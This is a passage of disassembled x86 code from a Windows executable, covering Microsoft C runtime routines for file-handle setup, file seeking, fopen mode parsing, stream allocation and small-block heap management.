sub_426967+103j mov eax, [edi] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_426B2E or al, 2 mov [esi], al loc_426B2E: ; CODE XREF: sub_426967+F6j ; sub_426967+1B5j ... sub ebx, [ebp+arg_4] mov [ebp+var_8], ebx loc_426B34: ; CODE XREF: sub_426967+CFj mov eax, [ebp+var_8] jmp short loc_426B3B ; --------------------------------------------------------------------------- loc_426B39: ; CODE XREF: sub_426967+16j ; sub_426967+43j ... xor eax, eax loc_426B3B: ; CODE XREF: sub_426967+B8j ; sub_426967+1D0j pop edi pop esi pop ebx leave retn sub_426967 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B40 proc near ; CODE XREF: .text:00424F44p var_48 = byte ptr -48h var_16 = word ptr -16h var_14 = dword ptr -14h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi push 480h call sub_422F79 mov esi, eax pop ecx test esi, esi jnz short loc_426B62 push 1Bh call sub_424FCB pop ecx loc_426B62: ; CODE XREF: sub_426B40+18j mov dword_6319E0, esi mov dword_631AE0, 20h lea eax, [esi+480h] loc_426B78: ; CODE XREF: sub_426B40+58j cmp esi, eax jnb short loc_426B9A and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh and dword ptr [esi+8], 0 mov byte ptr [esi+5], 0Ah mov eax, dword_6319E0 add esi, 24h add eax, 480h jmp short loc_426B78 ; --------------------------------------------------------------------------- loc_426B9A: ; CODE XREF: sub_426B40+3Aj lea eax, [ebp+var_48] push eax call dword_42F210 ; GetStartupInfoA cmp [ebp+var_16], 0 jz loc_426C80 mov eax, [ebp+var_14] test eax, eax jz loc_426C80 mov edi, [eax] lea ebx, [eax+4] lea eax, [ebx+edi] mov [ebp+var_4], eax mov eax, 800h cmp edi, eax jl short loc_426BD0 mov edi, eax loc_426BD0: ; CODE XREF: sub_426B40+8Cj cmp dword_631AE0, edi jge short loc_426C2E mov esi, offset dword_6319E4 loc_426BDD: ; CODE XREF: sub_426B40+E4j push 480h call sub_422F79 test eax, eax pop ecx jz short loc_426C28 add dword_631AE0, 20h mov [esi], eax lea ecx, [eax+480h] loc_426BFB: ; CODE XREF: sub_426B40+D9j cmp eax, ecx jnb short loc_426C1B and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov ecx, [esi] add eax, 24h add ecx, 480h jmp short loc_426BFB ; --------------------------------------------------------------------------- loc_426C1B: ; CODE XREF: sub_426B40+BDj add esi, 4 cmp dword_631AE0, edi jl short loc_426BDD jmp short loc_426C2E ; --------------------------------------------------------------------------- loc_426C28: ; CODE XREF: sub_426B40+AAj mov edi, dword_631AE0 loc_426C2E: ; CODE XREF: sub_426B40+96j ; sub_426B40+E6j xor esi, esi test edi, edi jle short loc_426C80 loc_426C34: ; CODE XREF: sub_426B40+13Ej mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_426C76 mov al, [ebx] test al, 1 jz short loc_426C76 test al, 8 jnz short loc_426C53 push ecx call dword_42F1D0 ; GetFileType test eax, eax jz short loc_426C76 loc_426C53: ; CODE XREF: sub_426B40+106j mov ecx, esi mov eax, esi sar ecx, 5 and eax, 1Fh mov ecx, dword_6319E0[ecx*4] lea eax, [eax+eax*8] lea eax, [ecx+eax*4] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [eax], ecx mov cl, [ebx] mov [eax+4], cl loc_426C76: ; CODE XREF: sub_426B40+FCj ; sub_426B40+102j ... add [ebp+var_4], 4 inc esi inc ebx cmp esi, edi jl short loc_426C34 loc_426C80: ; CODE XREF: sub_426B40+69j ; sub_426B40+74j ... xor ebx, ebx loc_426C82: ; CODE XREF: sub_426B40+1A9j mov ecx, dword_6319E0 lea eax, [ebx+ebx*8] cmp dword ptr [ecx+eax*4], 0FFFFFFFFh lea esi, [ecx+eax*4] jnz short loc_426CE1 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_426CA1 push 0FFFFFFF6h pop eax jmp short loc_426CAB ; --------------------------------------------------------------------------- loc_426CA1: ; CODE XREF: sub_426B40+15Aj mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_426CAB: ; CODE XREF: sub_426B40+15Fj push eax call dword_42F1D4 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_426CD0 push edi call dword_42F1D0 ; GetFileType test eax, eax jz short loc_426CD0 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_426CD6 loc_426CD0: ; CODE XREF: sub_426B40+177j ; sub_426B40+182j or byte ptr [esi+4], 40h jmp short loc_426CE5 ; --------------------------------------------------------------------------- loc_426CD6: ; CODE XREF: sub_426B40+18Ej cmp eax, 3 jnz short loc_426CE5 or byte ptr [esi+4], 8 jmp short loc_426CE5 ; --------------------------------------------------------------------------- loc_426CE1: ; CODE XREF: sub_426B40+152j or byte ptr [esi+4], 80h loc_426CE5: ; CODE XREF: sub_426B40+194j ; sub_426B40+199j ... inc ebx cmp ebx, 3 jl short loc_426C82 push dword_631AE0 call dword_42F1D8 ; SetHandleCount pop edi pop esi pop ebx leave retn sub_426B40 endp ; =============== S U B R O U T I N E ======================================= sub_426CFC proc near ; CODE XREF: sub_422D1B+20p ; sub_422D1B+EBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] cmp esi, dword_631AE0 jnb short loc_426D49 mov ecx, esi mov eax, esi sar ecx, 5 and eax, 1Fh mov ecx, dword_6319E0[ecx*4] lea eax, [eax+eax*8] test byte ptr [ecx+eax*4+4], 1 jz short loc_426D49 push edi push esi call sub_42BE86 push [esp+0Ch+arg_8] push [esp+10h+arg_4] push esi call sub_426D61 push esi mov edi, eax call sub_42BEE5 add esp, 14h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_426D49: ; CODE XREF: sub_426CFC+Bj ; sub_426CFC+26j call sub_426528 mov dword ptr [eax], 9 call sub_426531 and dword ptr [eax], 0 or eax, 0FFFFFFFFh pop esi retn sub_426CFC endp ; =============== S U B R O U T I N E ======================================= sub_426D61 proc near ; CODE XREF: sub_426967+197p ; sub_426CFC+38p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi push esi call sub_42BE44 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_426D80 call sub_426528 mov dword ptr [eax], 9 jmp short loc_426DAD ; --------------------------------------------------------------------------- loc_426D80: ; CODE XREF: sub_426D61+10j push [esp+8+arg_8] push 0 push [esp+10h+arg_4] push eax call dword_42F058 ; SetFilePointer mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_426DA0 call dword_42F068 ; RtlGetLastWin32Error jmp short loc_426DA2 ; --------------------------------------------------------------------------- loc_426DA0: ; CODE XREF: sub_426D61+35j xor eax, eax loc_426DA2: ; CODE XREF: sub_426D61+3Dj test eax, eax jz short loc_426DB2 push eax call sub_4264B5 pop ecx loc_426DAD: ; CODE XREF: sub_426D61+1Dj or eax, 0FFFFFFFFh jmp short loc_426DD1 ; --------------------------------------------------------------------------- loc_426DB2: ; CODE XREF: sub_426D61+43j mov ecx, esi and esi, 1Fh sar ecx, 5 mov eax, esi mov ecx, dword_6319E0[ecx*4] lea eax, [eax+eax*8] and byte ptr [ecx+eax*4+4], 0FDh lea eax, [ecx+eax*4+4] mov eax, edi loc_426DD1: ; CODE XREF: sub_426D61+4Fj pop edi pop esi retn sub_426D61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426DD4 proc near ; CODE XREF: sub_422F35+1Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_6315FC push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_426E0D cmp al, 72h jz short loc_426E06 cmp al, 77h jnz loc_426F21 mov ecx, 301h jmp short loc_426E12 ; --------------------------------------------------------------------------- loc_426E06: ; CODE XREF: sub_426DD4+21j xor ecx, ecx or esi, 1 jmp short loc_426E15 ; --------------------------------------------------------------------------- loc_426E0D: ; CODE XREF: sub_426DD4+1Dj mov ecx, 109h loc_426E12: ; CODE XREF: sub_426DD4+30j or esi, 2 loc_426E15: ; CODE XREF: sub_426DD4+37j push 1 pop edx loc_426E18: ; CODE XREF: sub_426DD4+8Bj ; sub_426DD4+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_426F07 cmp edx, ebx jz loc_426F07 movsx eax, al cmp eax, 54h jg short loc_426EA6 jz short loc_426E96 sub eax, 2Bh jz short loc_426E80 sub eax, 19h jz short loc_426E76 sub eax, 0Eh jz short loc_426E61 dec eax jnz loc_426EF8 cmp [ebp+var_4], ebx jnz loc_426EF8 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_426E18 ; --------------------------------------------------------------------------- loc_426E61: ; CODE XREF: sub_426DD4+6Fj cmp [ebp+var_4], ebx jnz loc_426EF8 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_426E18 ; --------------------------------------------------------------------------- loc_426E76: ; CODE XREF: sub_426DD4+6Aj test cl, 40h jnz short loc_426EF8 or ecx, 40h jmp short loc_426E18 ; --------------------------------------------------------------------------- loc_426E80: ; CODE XREF: sub_426DD4+65j test cl, 2 jnz short loc_426EF8 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_426E18 ; --------------------------------------------------------------------------- loc_426E96: ; CODE XREF: sub_426DD4+60j mov eax, 1000h test ecx, eax jnz short loc_426EF8 or ecx, eax jmp loc_426E18 ; --------------------------------------------------------------------------- loc_426EA6: ; CODE XREF: sub_426DD4+5Ej sub eax, 62h jz short loc_426EF3 dec eax jz short loc_426EDC sub eax, 0Bh jz short loc_426EC5 sub eax, 6 jnz short loc_426EF8 test ch, 0C0h jnz short loc_426EF8 or ch, 40h jmp loc_426E18 ; --------------------------------------------------------------------------- loc_426EC5: ; CODE XREF: sub_426DD4+DDj cmp [ebp+var_8], ebx jnz short loc_426EF8 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_426E18 ; --------------------------------------------------------------------------- loc_426EDC: ; CODE XREF: sub_426DD4+D8j cmp [ebp+var_8], ebx jnz short loc_426EF8 mov [ebp+var_8], 1 or esi, 4000h jmp loc_426E18 ; --------------------------------------------------------------------------- loc_426EF3: ; CODE XREF: sub_426DD4+D5j test ch, 0C0h jz short loc_426EFF loc_426EF8: ; CODE XREF: sub_426DD4+72j ; sub_426DD4+7Bj ... xor edx, edx jmp loc_426E18 ; --------------------------------------------------------------------------- loc_426EFF: ; CODE XREF: sub_426DD4+122j or ch, 80h jmp loc_426E18 ; --------------------------------------------------------------------------- loc_426F07: ; CODE XREF: sub_426DD4+4Aj ; sub_426DD4+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42BF9A mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_426F25 loc_426F21: ; CODE XREF: sub_426DD4+25j xor eax, eax jmp short loc_426F3F ; --------------------------------------------------------------------------- loc_426F25: ; CODE XREF: sub_426DD4+14Bj mov eax, [ebp+arg_C] inc dword_6313E8 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_426F3F: ; CODE XREF: sub_426DD4+14Fj pop edi pop esi pop ebx leave retn sub_426DD4 endp ; =============== S U B R O U T I N E ======================================= sub_426F44 proc near ; CODE XREF: sub_422F35+1p push ebx push esi push edi push 2 xor ebx, ebx xor edi, edi call sub_428436 xor esi, esi cmp dword_632B00, ebx pop ecx jle loc_426FFE loc_426F61: ; CODE XREF: sub_426F44+57j mov eax, dword_631AE8 mov eax, [eax+esi*4] cmp eax, ebx jz short loc_426FA4 test byte ptr [eax+0Ch], 83h jnz short loc_426F94 push eax push esi call sub_42486B pop ecx pop ecx mov ecx, dword_631AE8 mov eax, [ecx+esi*4] test byte ptr [eax+0Ch], 83h jz short loc_426F9F push eax push esi call sub_4248BD pop ecx pop ecx loc_426F94: ; CODE XREF: sub_426F44+2Dj inc esi cmp esi, dword_632B00 jl short loc_426F61 jmp short loc_426FFE ; --------------------------------------------------------------------------- loc_426F9F: ; CODE XREF: sub_426F44+45j mov edi, [ecx+esi*4] jmp short loc_426FE8 ; --------------------------------------------------------------------------- loc_426FA4: ; CODE XREF: sub_426F44+27j push 38h shl esi, 2 call sub_422F79 pop ecx mov ecx, dword_631AE8 mov [esi+ecx], eax mov eax, dword_631AE8 mov eax, [esi+eax] cmp eax, ebx jz short loc_426FFE add eax, 20h push eax call dword_42F1CC ; InitializeCriticalSection mov eax, dword_631AE8 mov eax, [esi+eax] add eax, 20h push eax call dword_42F140 ; RtlEnterCriticalSection mov eax, dword_631AE8 mov edi, [esi+eax] loc_426FE8: ; CODE XREF: sub_426F44+5Ej cmp edi, ebx jz short loc_426FFE or dword ptr [edi+10h], 0FFFFFFFFh mov [edi+4], ebx mov [edi+0Ch], ebx mov [edi+8], ebx mov [edi], ebx mov [edi+1Ch], ebx loc_426FFE: ; CODE XREF: sub_426F44+17j ; sub_426F44+59j ... push 2 call sub_428497 pop ecx mov eax, edi pop edi pop esi pop ebx retn sub_426F44 endp ; =============== S U B R O U T I N E ======================================= sub_42700C proc near ; CODE XREF: sub_422F8B+1Fp ; sub_423F63+10Dp ... arg_0 = dword ptr 4 mov eax, dword_6313FC test eax, eax jz short loc_427024 push [esp+arg_0] call eax ; dword_6313FC test eax, eax pop ecx jz short loc_427024 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_427024: ; CODE XREF: sub_42700C+7j ; sub_42700C+12j xor eax, eax retn sub_42700C endp ; =============== S U B R O U T I N E ======================================= sub_427027 proc near ; CODE XREF: sub_427054+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_42F074 ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_427052 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_427052 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_427052: ; CODE XREF: sub_427027+15j ; sub_427027+1Cj pop esi retn sub_427027 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427054 proc near ; CODE XREF: sub_42719C+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_4220C0 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_42F044 ; GetVersionExA test eax, eax jz short loc_427097 cmp [ebp+var_88], 2 jnz short loc_427097 cmp [ebp+var_94], 5 jb short loc_427097 push 1 pop eax jmp loc_427199 ; --------------------------------------------------------------------------- loc_427097: ; CODE XREF: sub_427054+27j ; sub_427054+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_42F1C8 ; GetEnvironmentVariableA test eax, eax jz loc_427186 xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_4270D9 loc_4270C6: ; CODE XREF: sub_427054+83j mov al, [ecx] cmp al, 61h jl short loc_4270D4 cmp al, 7Ah jg short loc_4270D4 sub al, 20h mov [ecx], al loc_4270D4: ; CODE XREF: sub_427054+76j ; sub_427054+7Aj inc ecx cmp [ecx], bl jnz short loc_4270C6 loc_4270D9: ; CODE XREF: sub_427054+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_423AD0 add esp, 0Ch test eax, eax jnz short loc_4270FB lea eax, [ebp+var_122C] jmp short loc_427144 ; --------------------------------------------------------------------------- loc_4270FB: ; CODE XREF: sub_427054+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_42F154 ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_42712F loc_42711C: ; CODE XREF: sub_427054+D9j mov al, [ecx] cmp al, 61h jl short loc_42712A cmp al, 7Ah jg short loc_42712A sub al, 20h mov [ecx], al loc_42712A: ; CODE XREF: sub_427054+CCj ; sub_427054+D0j inc ecx cmp [ecx], bl jnz short loc_42711C loc_42712F: ; CODE XREF: sub_427054+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_4235C0 pop ecx pop ecx loc_427144: ; CODE XREF: sub_427054+A5j cmp eax, ebx jz short loc_427186 push 2Ch push eax call sub_4233B0 pop ecx cmp eax, ebx pop ecx jz short loc_427186 inc eax mov ecx, eax cmp [eax], bl jz short loc_42716B loc_42715D: ; CODE XREF: sub_427054+115j cmp byte ptr [ecx], 3Bh jnz short loc_427166 mov [ecx], bl jmp short loc_427167 ; --------------------------------------------------------------------------- loc_427166: ; CODE XREF: sub_427054+10Cj inc ecx loc_427167: ; CODE XREF: sub_427054+110j cmp [ecx], bl jnz short loc_42715D loc_42716B: ; CODE XREF: sub_427054+107j push 0Ah push ebx push eax call sub_42289C add esp, 0Ch cmp eax, 2 jz short loc_427199 cmp eax, 3 jz short loc_427199 cmp eax, 1 jz short loc_427199 loc_427186: ; CODE XREF: sub_427054+5Cj ; sub_427054+F2j ... lea eax, [ebp+var_4] push eax call sub_427027 cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_427199: ; CODE XREF: sub_427054+3Ej ; sub_427054+126j ... pop ebx leave retn sub_427054 endp ; =============== S U B R O U T I N E ======================================= sub_42719C proc near ; CODE XREF: .text:00424F1Cp arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_42F1C0 ; HeapCreate test eax, eax mov dword_6319BC, eax jz short loc_4271F2 call sub_427054 cmp eax, 3 mov dword_6319C0, eax jnz short loc_4271D8 push 3F8h call sub_4271F9 pop ecx jmp short loc_4271E2 ; --------------------------------------------------------------------------- loc_4271D8: ; CODE XREF: sub_42719C+2Dj cmp eax, 2 jnz short loc_4271F5 call sub_427D40 loc_4271E2: ; CODE XREF: sub_42719C+3Aj test eax, eax jnz short loc_4271F5 push dword_6319BC call dword_42F1C4 ; HeapDestroy loc_4271F2: ; CODE XREF: sub_42719C+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_4271F5: ; CODE XREF: sub_42719C+3Fj ; sub_42719C+48j push 1 pop eax retn sub_42719C endp ; =============== S U B R O U T I N E ======================================= sub_4271F9 proc near ; CODE XREF: sub_42719C+34p arg_0 = dword ptr 4 push 140h push 0 push dword_6319BC call dword_42F1EC ; RtlAllocateHeap test eax, eax mov dword_6319B4, eax jnz short loc_427216 retn ; --------------------------------------------------------------------------- loc_427216: ; CODE XREF: sub_4271F9+1Aj mov ecx, [esp+arg_0] and dword_6319AC, 0 and dword_6319B0, 0 push 1 mov dword_6319A8, eax mov dword_6319B8, ecx mov dword_6319A0, 10h pop eax retn sub_4271F9 endp ; =============== S U B R O U T I N E ======================================= sub_427241 proc near ; CODE XREF: sub_4230B3+45p ; sub_4285CC+73p ... arg_0 = dword ptr 4 mov eax, dword_6319B0 lea ecx, [eax+eax*4] mov eax, dword_6319B4 lea ecx, [eax+ecx*4] loc_427251: ; CODE XREF: sub_427241+26j cmp eax, ecx jnb short loc_427269 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_42726B add eax, 14h jmp short loc_427251 ; --------------------------------------------------------------------------- loc_427269: ; CODE XREF: sub_427241+12j xor eax, eax locret_42726B: ; CODE XREF: sub_427241+21j retn sub_427241 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42726C proc near ; CODE XREF: sub_4230B3+54p ; sub_4285CC+D0p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_427590 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_427342 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_4272D0 push 3Fh pop edx loc_4272D0: ; CODE XREF: sub_42726C+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_427324 cmp edx, 20h jnb short loc_4272FB mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_42731C mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_42731C ; --------------------------------------------------------------------------- loc_4272FB: ; CODE XREF: sub_42726C+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_42731C mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_42731C: ; CODE XREF: sub_42726C+86j ; sub_42726C+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_427327 ; --------------------------------------------------------------------------- loc_427324: ; CODE XREF: sub_42726C+6Aj mov ecx, [ebp+var_4] loc_427327: ; CODE XREF: sub_42726C+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_427342: ; CODE XREF: sub_42726C+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_427350 push 3Fh pop edx loc_427350: ; CODE XREF: sub_42726C+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_4273F3 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_427375 mov ebx, esi loc_427375: ; CODE XREF: sub_42726C+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_427387 mov edx, esi loc_427387: ; CODE XREF: sub_42726C+117j cmp ebx, edx jz short loc_4273EE mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_4273D6 cmp ebx, 20h jnb short loc_4273B7 mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_4273D6 mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_4273D6 ; --------------------------------------------------------------------------- loc_4273B7: ; CODE XREF: sub_42726C+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_4273D6 mov ecx, [ebp+arg_0] and [ecx+4], esi loc_4273D6: ; CODE XREF: sub_42726C+128j ; sub_42726C+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_4273EE: ; CODE XREF: sub_42726C+11Dj mov esi, [ebp+arg_4] jmp short loc_4273F6 ; --------------------------------------------------------------------------- loc_4273F3: ; CODE XREF: sub_42726C+EDj mov ebx, [ebp+arg_0] loc_4273F6: ; CODE XREF: sub_42726C+185j cmp [ebp+var_C], 0 jnz short loc_427404 cmp ebx, edx jz loc_427485 loc_427404: ; CODE XREF: sub_42726C+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_427485 mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_42745C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_42744B mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_42744B: ; CODE XREF: sub_42726C+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_427485 ; --------------------------------------------------------------------------- loc_42745C: ; CODE XREF: sub_42726C+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_427472 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_427472: ; CODE XREF: sub_42726C+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_427485: ; CODE XREF: sub_42726C+192j ; sub_42726C+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_427590 mov eax, dword_6319AC test eax, eax jz loc_427582 mov ecx, dword_6319A4 mov esi, dword_42F1BC shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; dword_42F1BC mov ecx, dword_6319A4 mov eax, dword_6319AC mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_6319AC mov ecx, dword_6319A4 mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_6319AC mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_6319AC mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_427513 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_6319AC loc_427513: ; CODE XREF: sub_42726C+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_427582 push ebx push 0 push dword ptr [eax+0Ch] call esi ; dword_42F1BC mov eax, dword_6319AC push dword ptr [eax+10h] push 0 push dword_6319BC call dword_42F1F0 ; RtlFreeHeap mov eax, dword_6319B0 mov edx, dword_6319B4 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_6319AC sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_423C20 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_6319B0 cmp eax, dword_6319AC jbe short loc_427578 sub [ebp+arg_0], 14h loc_427578: ; CODE XREF: sub_42726C+306j mov eax, dword_6319B4 mov dword_6319A8, eax loc_427582: ; CODE XREF: sub_42726C+234j ; sub_42726C+2ABj mov eax, [ebp+arg_0] mov dword_6319A4, edi mov dword_6319AC, eax loc_427590: ; CODE XREF: sub_42726C+38j ; sub_42726C+227j pop edi pop esi pop ebx leave retn sub_42726C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427595 proc near ; CODE XREF: sub_422FB7+49p ; sub_423F63+78p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_6319B0 mov edx, dword_6319B4 push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_4275D5 or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_4275E5 ; --------------------------------------------------------------------------- loc_4275D5: ; CODE XREF: sub_427595+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_4275E5: ; CODE XREF: sub_427595+3Ej mov eax, dword_6319A8 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_42760C loc_4275F3: ; CODE XREF: sub_427595+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_42760C add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_4275F3 loc_42760C: ; CODE XREF: sub_427595+5Cj ; sub_427595+6Aj cmp ebx, [ebp+var_4] jnz short loc_42768A mov ebx, edx loc_427613: ; CODE XREF: sub_427595+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_42762F mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_42762D add ebx, 14h jmp short loc_427613 ; --------------------------------------------------------------------------- loc_42762D: ; CODE XREF: sub_427595+91j cmp ebx, eax loc_42762F: ; CODE XREF: sub_427595+83j jnz short loc_42768A loc_427631: ; CODE 